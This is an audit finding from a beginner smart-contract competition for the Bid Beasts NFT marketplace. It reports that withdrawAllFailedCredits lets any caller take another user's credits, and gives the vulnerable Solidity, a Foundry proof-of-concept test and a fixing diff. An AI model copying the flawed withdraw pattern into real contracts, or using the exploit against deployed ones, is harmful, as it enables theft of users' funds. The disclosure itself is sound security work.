Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

A Malicious Can withdraw Users Failed transfer

mentemdeus

Root + Impact

Description

The withdrawAllFailedCredits function should only let the rightful owner claim their failed transfer credits. Here, withdrawAllFailedCredits function lets any caller withdraw another user’s credits by passing in their address. If the contract still has enough ETH, the marketplace suffers the loss as it pays the attacker. If not, the user suffers the loss since their credits remain but the contract cannot cover them.

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver]; // @> Attacker can choose victim address
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0; // @> Clears attacker balance, not victim balance
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood:

Every time this function is called, an attacker can supply a victim’s address as _receiver.

This will drain the victim’s funds to the attacker..

Impact:

Victims lose their failed transfer credits if the market has zero balance and if the market has ether it suffers the loss.

Proof of Concept

Before Testing this file add this setter function in the BidBeastsNFTMarketPlace.sol to enable us set the mapping

function setFailedTransferCredits(address user, uint256 amount) external onlyOwner {
failedTransferCredits[user] = amount;
}
​
​

Here Is the POC

function test_AttackerWithdrawOTHersFailCredit() external {
uint256 failedTransfer = 1 ether;
vm.deal(address(market), 1e18);
//set some failed transfer credit to the seller
market.setFailedTransferCredits(SELLER, failedTransfer);
​
uint256 AttackerBalanceBefore = BIDDER_1.balance;
//Attacker withdraws any failedcrdeit allocated to the seller
vm.prank(BIDDER_1); //serving as the attacker
market.withdrawAllFailedCredits(SELLER);
assertEq(BIDDER_1.balance, AttackerBalanceBefore + 1e18 );
//if the seller tries to withdraw his failed credit, it reverts because the market is now zero
//but if the market was not zero it would have withdrawan to the seller because
//the vulnerabe function reset balance of msg.sender not the _receiver
vm.prank(SELLER);
vm.expectRevert();
market.withdrawAllFailedCredits(SELLER);
​
​
​
}
​

Recommended Mitigation

Restrict withdrawals to the caller’s own credits only:

- function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
- require(amount > 0, "No credits to withdraw");
-
- failedTransferCredits[msg.sender] = 0;
-
- (bool success, ) = payable(msg.sender).call{value: amount}("");
- require(success, "Withdraw failed");
- }
​
+ function withdrawAllFailedCredits() external {
+ uint256 amount = failedTransferCredits[msg.sender];
+ require(amount > 0, "No credits to withdraw");
+
+ failedTransferCredits[msg.sender] = 0;
+
+ (bool success, ) = payable(msg.sender).call{value: amount}("");
+ require(success, "Withdraw failed");
+ }
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!